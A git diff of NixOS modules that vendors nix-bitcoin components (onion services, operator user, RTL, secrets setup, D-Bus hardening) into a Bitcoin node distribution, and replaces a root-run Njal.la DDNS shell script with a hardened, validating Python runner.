|
||||
${concatMapStrings
|
||||
(service: ''
|
||||
onionFile='/var/lib/tor/onion/${service}/hostname'
|
||||
waitForFile "$onionFile"
|
||||
cp "$onionFile" '${user}/${service}'
|
||||
chown '${user}' '${user}/${service}'
|
||||
'')
|
||||
cfg.access.${user}
|
||||
}
|
||||
'')
|
||||
(builtins.attrNames cfg.access)
|
||||
}
|
||||
|
||||
${concatMapStrings (service: ''
|
||||
onionFile=/var/lib/tor/onion/${service}/hostname
|
||||
waitForFile "$onionFile"
|
||||
install -D -o ${config.systemd.services.${service}.serviceConfig.User} -m 400 "$onionFile" services/${service}
|
||||
'') cfg.services}
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
# This module creates onion-services for NixOS services.
|
||||
# An onion service can be enabled for every service that defines
|
||||
# options 'address', 'port' and optionally 'getPublicAddressCmd'.
|
||||
#
|
||||
# See it in use at ./presets/enable-tor.nix
|
||||
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.onionServices = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule (
|
||||
{ config, ... }: {
|
||||
options = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = config.public;
|
||||
description = ''
|
||||
Create an onion service for the given service.
|
||||
The service must define options {option}`address` and {option}`onionPort` (or `port`).
|
||||
'';
|
||||
};
|
||||
public = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Make the onion address accessible to the service.
|
||||
If enabled, the onion service is automatically enabled.
|
||||
Only available for services that define option {option}`getPublicAddressCmd`.
|
||||
'';
|
||||
};
|
||||
externalPort = mkOption {
|
||||
type = types.nullOr types.port;
|
||||
default = null;
|
||||
description = "Override the external port of the onion service.";
|
||||
};
|
||||
};
|
||||
}
|
||||
));
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.onionServices;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
onionServices = builtins.attrNames cfg;
|
||||
|
||||
activeServices = builtins.filter (service:
|
||||
config.services.${service}.enable && cfg.${service}.enable
|
||||
) onionServices;
|
||||
|
||||
publicServices = builtins.filter (service: cfg.${service}.public) activeServices;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkMerge [
|
||||
(mkIf (activeServices != []) {
|
||||
# Define hidden services
|
||||
services.tor = {
|
||||
enable = true;
|
||||
relay.onionServices = genAttrs activeServices (name:
|
||||
let
|
||||
service = config.services.${name};
|
||||
inherit (cfg.${name}) externalPort;
|
||||
in nbLib.mkOnionService {
|
||||
port = if externalPort != null then externalPort else service.port;
|
||||
target.port = service.onionPort or service.port;
|
||||
target.addr = nbLib.address service.address;
|
||||
}
|
||||
);
|
||||
};
|
||||
|
||||
nix-bitcoin.onionAddresses = {
|
||||
# Enable public services to access their own onion addresses
|
||||
services = publicServices;
|
||||
|
||||
# Allow the operator user to access onion addresses for all active services
|
||||
access.${config.nix-bitcoin.operator.name} = mkIf config.nix-bitcoin.operator.enable activeServices;
|
||||
};
|
||||
systemd.services = let
|
||||
onionAddresses = [ "onion-addresses.service" ];
|
||||
in genAttrs publicServices (service: {
|
||||
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
|
||||
# that propagates initial start failures but no restarts
|
||||
wants = onionAddresses;
|
||||
after = onionAddresses;
|
||||
});
|
||||
})
|
||||
|
||||
# Set getPublicAddressCmd for public services
|
||||
{
|
||||
services = let
|
||||
# publicServices' doesn't depend on config.services.*.enable,
|
||||
# so we can use it to define config.services without causing infinite recursion
|
||||
publicServices' = builtins.filter (service:
|
||||
let srv = cfg.${service};
|
||||
in srv.public && srv.enable
|
||||
) onionServices;
|
||||
in genAttrs publicServices' (service: {
|
||||
getPublicAddressCmd = "cat ${config.nix-bitcoin.onionAddresses.dataDir}/services/${service}";
|
||||
});
|
||||
}
|
||||
|
||||
# Set sensible defaults for some services
|
||||
{
|
||||
nix-bitcoin.onionServices = {
|
||||
btcpayserver = {
|
||||
externalPort = 80;
|
||||
};
|
||||
rtl = {
|
||||
externalPort = 80;
|
||||
};
|
||||
mempool-frontend = {
|
||||
externalPort = 80;
|
||||
};
|
||||
};
|
||||
}
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.operator = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Whether to define a user named `operator` for convenient interactive access
|
||||
to nix-bitcoin features (like `bitcoin-cli`).
|
||||
|
||||
When using nix-bitcoin as part of a larger system config, it makes sense
|
||||
to set your main system user as the operator, by setting option
|
||||
`nix-bitcoin.operator.name = "MAIN_USER_NAME";`.
|
||||
'';
|
||||
};
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = "operator";
|
||||
description = "Name of the operator user.";
|
||||
};
|
||||
groups = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = "Extra groups of the operatur user.";
|
||||
};
|
||||
allowRunAsUsers = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = "Users as which the operator is allowed to run commands.";
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.operator;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
users.users.${cfg.name} = {
|
||||
isNormalUser = true;
|
||||
extraGroups = [
|
||||
"systemd-journal"
|
||||
"proc" # Enable full /proc access and systemd-status
|
||||
] ++ cfg.groups;
|
||||
};
|
||||
|
||||
security = mkIf (cfg.allowRunAsUsers != []) {
|
||||
# Use doas instead of sudo if enabled
|
||||
doas.extraConfig = mkIf config.security.doas.enable ''
|
||||
${lib.concatMapStrings (user: "permit nopass ${cfg.name} as ${user}\n") cfg.allowRunAsUsers}
|
||||
'';
|
||||
sudo.extraConfig = mkIf (!config.security.doas.enable) ''
|
||||
${cfg.name} ALL=(${builtins.concatStringsSep "," cfg.allowRunAsUsers}) NOPASSWD: ALL
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.rtl = {
|
||||
enable = mkEnableOption "RTL, a web interface for LND";
|
||||
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for HTTP connections.";
|
||||
};
|
||||
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 3000;
|
||||
description = "Port to listen for HTTP connections.";
|
||||
};
|
||||
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/rtl";
|
||||
description = "The data directory for RTL.";
|
||||
};
|
||||
|
||||
nightTheme = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable night theme by default.";
|
||||
};
|
||||
|
||||
extraCurrency = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "USD";
|
||||
description = ''
|
||||
Additional currency for displaying amounts.
|
||||
When set, Tor is disabled for the RTL service to allow currency rate fetching.
|
||||
'';
|
||||
};
|
||||
|
||||
nodes = {
|
||||
lnd = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable LND node in RTL.";
|
||||
};
|
||||
loop = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable Lightning Loop integration (requires loopd).";
|
||||
};
|
||||
};
|
||||
clightning = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable Core Lightning node in RTL (not supported in Sovran).";
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "rtl";
|
||||
description = "The user as which to run RTL.";
|
||||
};
|
||||
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run RTL.";
|
||||
};
|
||||
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
cfg = config.services.rtl;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
# Vendored RTL package
|
||||
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
|
||||
rtlPackage = pkgs.callPackage ../../packages/rtl { inherit fetchNodeModules; };
|
||||
|
||||
runePath = "${cfg.dataDir}/CLN-Rune.env";
|
||||
|
||||
rtlConfig = {
|
||||
multiPass = "@multiPass@";
|
||||
port = cfg.port;
|
||||
host = cfg.address;
|
||||
defaultNodeIndex = 1;
|
||||
dbDirectoryPath = cfg.dataDir;
|
||||
SSO = {
|
||||
rtlSSO = 0;
|
||||
rtlCookiePath = "";
|
||||
logoutRedirectLink = "";
|
||||
};
|
||||
nodes = optional cfg.nodes.lnd.enable ({
|
||||
index = 1;
|
||||
lnNode = "lnd";
|
||||
lnImplementation = "LND";
|
||||
authentication = {
|
||||
macaroonPath = "${cfg.dataDir}/macaroons";
|
||||
swapMacaroonPath = if cfg.nodes.lnd.loop then "${cfg.dataDir}/loop-macaroons" else "";
|
||||
boltzMacaroonPath = "";
|
||||
};
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
channelBackupPath = "${cfg.dataDir}/backup";
|
||||
logLevel = "INFO";
|
||||
lnServerUrl = "https://${lnd.restAddress}:${toString lnd.restPort}";
|
||||
swapServerUrl = if cfg.nodes.lnd.loop then "https://127.0.0.1:8081" else "";
|
||||
boltzServerUrl = "";
|
||||
fiatConversion = cfg.extraCurrency != null;
|
||||
unannouncedChannels = true;
|
||||
} // optionalAttrs (cfg.extraCurrency != null) {
|
||||
currencyUnit = cfg.extraCurrency;
|
||||
};
|
||||
}) ++ optional cfg.nodes.clightning.enable {
|
||||
index = 2;
|
||||
lnNode = "clightning";
|
||||
lnImplementation = "CLN";
|
||||
authentication = {
|
||||
runePath = runePath;
|
||||
};
|
||||
settings = {
|
||||
userPersona = "OPERATOR";
|
||||
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
|
||||
themeColor = "PURPLE";
|
||||
logLevel = "INFO";
|
||||
fiatConversion = cfg.extraCurrency != null;
|
||||
} // optionalAttrs (cfg.extraCurrency != null) {
|
||||
currencyUnit = cfg.extraCurrency;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
configFile = builtins.toFile "config" (builtins.toJSON rtlConfig);
|
||||
|
||||
inherit (config.services)
|
||||
bitcoind
|
||||
lnd;
|
||||
|
||||
lndLoopEnabled = cfg.nodes.lnd.enable && cfg.nodes.lnd.loop;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion = cfg.nodes.lnd.enable;
|
||||
message = ''
|
||||
RTL: At least one node must be enabled. Sovran supports LND only.
|
||||
'';
|
||||
}
|
||||
{ assertion = !cfg.nodes.clightning.enable;
|
||||
message = ''
|
||||
RTL: Core Lightning (clightning) is not supported in Sovran. Use LND instead.
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
services.lnd.enable = mkIf cfg.nodes.lnd.enable true;
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
services.rtl.tor.enforce = mkIf (cfg.extraCurrency != null) false;
|
||||
|
||||
systemd.services.rtl = rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
wants = optional cfg.nodes.lnd.enable "lnd.service";
|
||||
after = wants ++ [ "nix-bitcoin-secrets.target" ];
|
||||
environment.RTL_CONFIG_PATH = cfg.dataDir;
|
||||
environment.DB_DIRECTORY_PATH = cfg.dataDir;
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStartPre = [
|
||||
(nbLib.script "rtl-setup-config" ''
|
||||
<${configFile} sed "s|@multiPass@|$(cat ${secretsDir}/rtl-password)|" \
|
||||
> '${cfg.dataDir}/RTL-Config.json'
|
||||
'')
|
||||
]
|
||||
++ optional cfg.nodes.lnd.enable
|
||||
# The lnd admin macaroon is not readable by group `lnd`, so copy it
|
||||
(nbLib.rootScript "rtl-copy-macaroon" ''
|
||||
install --compare -m 640 -o ${cfg.user} -g ${cfg.group} -D ${lnd.networkDir}/admin.macaroon \
|
||||
'${cfg.dataDir}/macaroons/admin.macaroon'
|
||||
'');
|
||||
ExecStart = "${rtlPackage}/bin/rtl";
|
||||
# Show "rtl" instead of "node" in the journal
|
||||
SyslogIdentifier = "rtl";
|
||||
User = cfg.user;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// nbLib.nodejs;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = optional lndLoopEnabled lnd.group;
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
|
||||
nix-bitcoin.secrets.rtl-password.user = cfg.user;
|
||||
nix-bitcoin.generateSecretsCmds.rtl = ''
|
||||
makePasswordSecret rtl-password
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin = {
|
||||
secretsDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/etc/nix-bitcoin-secrets";
|
||||
description = "Directory to store secrets";
|
||||
};
|
||||
|
||||
setupSecrets = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Set permissions for existing secrets in {option}`nix-bitcoin.secretsDir`
|
||||
before services are started.
|
||||
'';
|
||||
};
|
||||
|
||||
generateSecrets = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Automatically generate all required secrets before services are started.
|
||||
Note: Make sure to create a backup of the generated secrets.
|
||||
'';
|
||||
};
|
||||
|
||||
generateSecretsCmds = mkOption {
|
||||
type = types.attrsOf types.lines;
|
||||
default = {};
|
||||
description = ''
|
||||
Bash expressions for generating secrets.
|
||||
'';
|
||||
};
|
||||
|
||||
# Currently, this is used only by ../deployment/nixops.nix
|
||||
deployment.secretsDir = mkOption {
|
||||
type = types.path;
|
||||
description = ''
|
||||
Directory of local secrets that are transferred to the nix-bitcoin node on deployment
|
||||
'';
|
||||
};
|
||||
|
||||
secrets = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule (
|
||||
{ config, ... }: {
|
||||
options = {
|
||||
user = mkOption {
|
||||
type = str;
|
||||
default = "root";
|
||||
};
|
||||
group = mkOption {
|
||||
type = str;
|
||||
default = config.user;
|
||||
};
|
||||
permissions = mkOption {
|
||||
type = str;
|
||||
default = "440";
|
||||
};
|
||||
};
|
||||
}
|
||||
));
|
||||
};
|
||||
|
||||
secretsSetupMethod = mkOption {
|
||||
type = with types; nullOr str;
|
||||
default = null;
|
||||
};
|
||||
|
||||
generateSecretsScript = mkOption {
|
||||
internal = true;
|
||||
default = let
|
||||
rpcauthSrc = pkgs.fetchurl {
|
||||
url = "https://raw.githubusercontent.com/bitcoin/bitcoin/d6cde007db9d3e6ee93bd98a9bbfdce9bfa9b15b/share/rpcauth/rpcauth.py";
|
||||
sha256 = "189mpplam6yzizssrgiyv70c9899ggh8cac76j4n7v0xqzfip07n";
|
||||
};
|
||||
rpcauth = pkgs.writers.writeBash "rpcauth" ''
|
||||
exec ${pkgs.python3}/bin/python ${rpcauthSrc} "$@"
|
||||
'';
|
||||
# Writes secrets to PWD
|
||||
in pkgs.writers.writeBash "generate-secrets" ''
|
||||
set -euo pipefail
|
||||
|
||||
export PATH=${lib.makeBinPath (with pkgs; [ coreutils gnugrep ])}
|
||||
|
||||
makePasswordSecret() {
|
||||
# Passwords have alphabet {a-z, A-Z, 0-9} and ~119 bits of entropy
|
||||
[[ -e $1 ]] || ${pkgs.pwgen}/bin/pwgen -s 20 1 > "$1"
|
||||
}
|
||||
makeBitcoinRPCPassword() {
|
||||
user=$1
|
||||
file=bitcoin-rpcpassword-$user
|
||||
HMACfile=bitcoin-HMAC-$user
|
||||
makePasswordSecret "$file"
|
||||
if [[ $file -nt $HMACfile ]]; then
|
||||
${rpcauth} $user $(cat "$file") | grep rpcauth | cut -d ':' -f 2 > "$HMACfile"
|
||||
fi
|
||||
}
|
||||
makeCert() {
|
||||
name=$1
|
||||
# Add leading comma if not empty
|
||||
extraAltNames=''${2:+,}''${2:-}
|
||||
if [[ ! -e $name-key ]]; then
|
||||
# Create new key and cert
|
||||
doMakeCert "-newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes -keyout $name-key"
|
||||
elif [[ ! -e $name-cert \
|
||||
|| $(cat "$name-cert-alt-names" 2>/dev/null) != $extraAltNames ]]; then
|
||||
# Create cert from existing key
|
||||
doMakeCert "-key $name-key"
|
||||
fi;
|
||||
}
|
||||
doMakeCert() {
|
||||
# This fn uses global variables `name` and `extraAltNames`
|
||||
keyOpts=$1
|
||||
${pkgs.openssl}/bin/openssl req -x509 \
|
||||
-sha256 -days 3650 $keyOpts -out "$name-cert" \
|
||||
-subj "/CN=localhost/O=$name" \
|
||||
-addext "subjectAltName=DNS:localhost,IP:127.0.0.1$extraAltNames"
|
||||
echo "$extraAltNames" > "$name-cert-alt-names"
|
||||
}
|
||||
|
||||
umask u=rw,go=
|
||||
${builtins.concatStringsSep "\n" (builtins.attrValues cfg.generateSecretsCmds)}
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = {
|
||||
assertions = [
|
||||
{ assertion = cfg.secretsSetupMethod != null;
|
||||
message = ''
|
||||
No secrets setup method has been defined.
|
||||
To fix this, choose one of the following:
|
||||
|
||||
- Use one of the deployment methods in ${toString ./../deployment}
|
||||
|
||||
- Set `nix-bitcoin.generateSecrets = true` to automatically generate secrets
|
||||
|
||||
- Set `nix-bitcoin.secretsSetupMethod = "manual"` if you want to manually setup secrets
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
# This target is active when secrets have been setup successfully.
|
||||
systemd.targets.nix-bitcoin-secrets = mkIf (cfg.secretsSetupMethod != "manual") {
|
||||
# This ensures that the secrets target is always activated when switching
|
||||
# configurations.
|
||||
# In this way `switch-to-configuration` is guaranteed to show an error
|
||||
# when activating the secrets target fails on deployment.
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
};
|
||||
|
||||
nix-bitcoin.setupSecrets = mkIf cfg.generateSecrets true;
|
||||
|
||||
nix-bitcoin.secretsSetupMethod = mkIf cfg.setupSecrets "setup-secrets";
|
||||
|
||||
# Operation of this service:
|
||||
# - Set owner and permissions for all used secrets
|
||||
# - Make all other secrets accessible to root only
|
||||
# For all steps make sure that no secrets are copied to the nix store.
|
||||
#
|
||||
systemd.services.setup-secrets = mkIf cfg.setupSecrets {
|
||||
requiredBy = [ "nix-bitcoin-secrets.target" ];
|
||||
before = [ "nix-bitcoin-secrets.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
script = ''
|
||||
# Use the same sort order for globbing and sorting as in Nix attrsets.
|
||||
# Required for `comm` below.
|
||||
export LC_COLLATE=C
|
||||
|
||||
${optionalString cfg.generateSecrets ''
|
||||
mkdir -p "${cfg.secretsDir}"
|
||||
cd "${cfg.secretsDir}"
|
||||
chown root: .
|
||||
chmod 0700 .
|
||||
${cfg.generateSecretsScript}
|
||||
''}
|
||||
|
||||
setupSecret() {
|
||||
file="$1"
|
||||
user="$2"
|
||||
group="$3"
|
||||
permissions="$4"
|
||||
if [[ ! -e $file ]]; then
|
||||
echo "Error: Secret file '$file' is missing"
|
||||
exit 1
|
||||
fi
|
||||
chown "$user:$group" "$file"
|
||||
chmod "$permissions" "$file"
|
||||
processedFiles+=("$file")
|
||||
}
|
||||
|
||||
dir="${cfg.secretsDir}"
|
||||
if [[ ! -e $dir ]]; then
|
||||
echo "Error: Secrets dir '$dir' is missing"
|
||||
exit 1
|
||||
fi
|
||||
chown root: "$dir"
|
||||
cd "$dir"
|
||||
|
||||
processedFiles=()
|
||||
${
|
||||
concatStrings (mapAttrsToList (n: v: ''
|
||||
setupSecret ${n} ${v.user} ${v.group} ${v.permissions}
|
||||
'') cfg.secrets)
|
||||
}
|
||||
|
||||
# Make all other files accessible to root only
|
||||
unprocessedFiles=$(
|
||||
comm -23 <(shopt -s nullglob; printf '%s\n' *) <(printf '%s\n' "''${processedFiles[@]}")
|
||||
)
|
||||
if [[ $unprocessedFiles ]]; then
|
||||
IFS=$'\n'
|
||||
# shellcheck disable=SC2086
|
||||
chown root: $unprocessedFiles
|
||||
# shellcheck disable=SC2086
|
||||
chmod 0440 $unprocessedFiles
|
||||
fi
|
||||
|
||||
# Now make the secrets dir accessible to other users
|
||||
chmod 0751 "$dir"
|
||||
'';
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
{
|
||||
options = {
|
||||
nix-bitcoin.security.dbusHideProcessInformation = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Only allow users with group `proc` to retrieve systemd unit information like
|
||||
cgroup paths (i.e. (sub)process command lines) via D-Bus.
|
||||
|
||||
This mitigates a systemd security issue where (sub)process command lines can
|
||||
be retrieved by services even when their access to /proc is restricted
|
||||
(via ProtectProc).
|
||||
|
||||
This option works by restricting the D-Bus method `GetUnitProcesses`, which
|
||||
is also used internally by {command}`systemctl status`.
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
config = mkIf config.nix-bitcoin.security.dbusHideProcessInformation {
|
||||
users.groups.proc = {};
|
||||
nix-bitcoin.operator.groups = [ "proc" ]; # Enable operator access to systemd-status
|
||||
|
||||
services.dbus.packages = lib.mkAfter [ # Apply at the end to override the default policy
|
||||
(pkgs.writeTextDir "etc/dbus-1/system.d/dbus.conf" ''
|
||||
<busconfig>
|
||||
<policy context="default">
|
||||
<deny
|
||||
send_destination="org.freedesktop.systemd1"
|
||||
send_interface="org.freedesktop.systemd1.Manager"
|
||||
send_member="GetUnitProcesses"
|
||||
/>
|
||||
</policy>
|
||||
<policy group="proc">
|
||||
<allow
|
||||
send_destination="org.freedesktop.systemd1"
|
||||
send_interface="org.freedesktop.systemd1.Manager"
|
||||
send_member="GetUnitProcesses"
|
||||
/>
|
||||
</policy>
|
||||
</busconfig>
|
||||
'')
|
||||
];
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{ config, lib, ... }:
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.configVersion = mkOption {
|
||||
type = with types; nullOr str;
|
||||
default = null;
|
||||
description = "Vendored stub — no version migration needed.";
|
||||
};
|
||||
in {
|
||||
inherit options;
|
||||
config = {};
|
||||
}
|
||||
@@ -68,6 +68,7 @@ lib.mkIf config.sovran_systemsOS.services.bitcoin {
|
||||
name = "free";
|
||||
};
|
||||
|
||||
# vendored: now no-op (always uses nixpkgs)
|
||||
nix-bitcoin.useVersionLockedPkgs = false;
|
||||
|
||||
systemd.services.bitcoind = {
|
||||
|
||||
+116
-24
@@ -1,32 +1,124 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
{
|
||||
# ── Ensure njalla directory and base script exist on every build ──
|
||||
# ── Ensure njalla directory exists on every build ────────────────────────
|
||||
systemd.tmpfiles.rules = [
|
||||
"d /var/lib/njalla 0750 root root -"
|
||||
];
|
||||
|
||||
# ── Create base njalla.sh if it doesn't exist yet ────────────
|
||||
systemd.services.njalla-init = {
|
||||
description = "Initialize Njal.la DDNS script if missing";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
unitConfig = {
|
||||
ConditionPathExists = "!/var/lib/njalla/njalla.sh";
|
||||
};
|
||||
script = ''
|
||||
cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
|
||||
#!/usr/bin/env bash
|
||||
IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
|
||||
|
||||
## Add DDNS entries below — one curl per line
|
||||
## Managed via Sovran Hub web interface
|
||||
SCRIPT
|
||||
|
||||
chmod 700 /var/lib/njalla/njalla.sh
|
||||
'';
|
||||
# ── Install the shared validation helper so the DDNS runner can import it ─
|
||||
# The exact same _validate_ddns_url() function used by the Hub web application
|
||||
# is installed here as a read-only system file. The DDNS runner imports it
|
||||
# directly so the two code paths share one validator — no weaker inline copy.
|
||||
environment.etc."sovran/security_helpers.py" = {
|
||||
source = ../../app/sovran_systemsos_web/security_helpers.py;
|
||||
mode = "0444";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
}
|
||||
|
||||
# ── Safe DDNS update service ─────────────────────────────────────────────
|
||||
# Reads DDNS update URLs from the JSON store written by the Hub API and
|
||||
# invokes curl directly — no shell interpolation, no script execution.
|
||||
# Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
|
||||
systemd.services.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
|
||||
wants = [ "network-online.target" ];
|
||||
after = [ "network-online.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
User = "root";
|
||||
ExecStart = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
|
||||
# Harden the service — it only needs network access and read access to
|
||||
# /var/lib/njalla/ddns_urls.json.
|
||||
NoNewPrivileges = true;
|
||||
ProtectSystem = "strict";
|
||||
ReadWritePaths = [ "/var/lib/njalla" ];
|
||||
ReadOnlyPaths = [ "/etc/sovran" ];
|
||||
ProtectHome = true;
|
||||
PrivateTmp = true;
|
||||
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
|
||||
};
|
||||
};
|
||||
|
||||
# Run the update every 15 minutes
|
||||
systemd.timers.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update timer";
|
||||
wantedBy = [ "timers.target" ];
|
||||
timerConfig = {
|
||||
OnBootSec = "2min";
|
||||
OnUnitActiveSec = "15min";
|
||||
Persistent = true;
|
||||
};
|
||||
};
|
||||
|
||||
# Install the Python runner script at build time so the service can find it.
|
||||
# The script is owned by root and not world-writable.
|
||||
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
|
||||
# production validator used by the Hub API — before executing any curl call.
|
||||
# No shell is used; no redirects; no script execution.
|
||||
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
|
||||
# the URL is validated after substitution so any remaining $ is rejected.
|
||||
system.activationScripts.sovran-ddns-update-script = ''
|
||||
install -d -m 0755 /var/lib/sovran
|
||||
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran safe DDNS update runner.
|
||||
|
||||
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
|
||||
validates each URL using the production _validate_ddns_url() from
|
||||
/etc/sovran/security_helpers.py, then calls curl per URL.
|
||||
No shell interpolation. No redirects. No script execution.
|
||||
"""
|
||||
import ipaddress, json, os, subprocess, sys
|
||||
|
||||
sys.path.insert(0, '/etc/sovran')
|
||||
try:
|
||||
from security_helpers import _validate_ddns_url
|
||||
except ImportError:
|
||||
sys.exit(1) # validator missing — fail so systemd logs the misconfiguration
|
||||
|
||||
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
||||
|
||||
try:
|
||||
with open(URLS_FILE) as f:
|
||||
urls = json.load(f)
|
||||
if not isinstance(urls, list):
|
||||
raise ValueError("not a list")
|
||||
except Exception:
|
||||
sys.exit(0) # no URLs configured — nothing to do
|
||||
|
||||
# Resolve current public IP once
|
||||
public_ip = ""
|
||||
try:
|
||||
r = subprocess.run(
|
||||
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
|
||||
ipaddress.ip_address(raw) # validates — raises if not a real IP
|
||||
public_ip = raw
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not public_ip:
|
||||
sys.exit(0) # no IP resolved — skip to avoid sending bare ''${IP}
|
||||
|
||||
for raw_url in urls:
|
||||
try:
|
||||
# Substitute ''${IP} placeholder then validate through production validator.
|
||||
# After substitution there must be no $ left; _validate_ddns_url rejects
|
||||
# any remaining $ expression.
|
||||
url = raw_url.replace("''${IP}", public_ip)
|
||||
_validate_ddns_url(url)
|
||||
subprocess.run(
|
||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||
timeout=20, check=False,
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
PYEOF
|
||||
chmod 0500 /var/lib/sovran/ddns-update.py
|
||||
'';
|
||||
}
|
||||
@@ -3,9 +3,9 @@
|
||||
{
|
||||
config = lib.mkMerge [
|
||||
|
||||
# nix-bitcoin is globally imported by the flake (nixosModules.Sovran_SystemsOS).
|
||||
# This default satisfies nix-bitcoin's generateSecrets assertion so that Desktop
|
||||
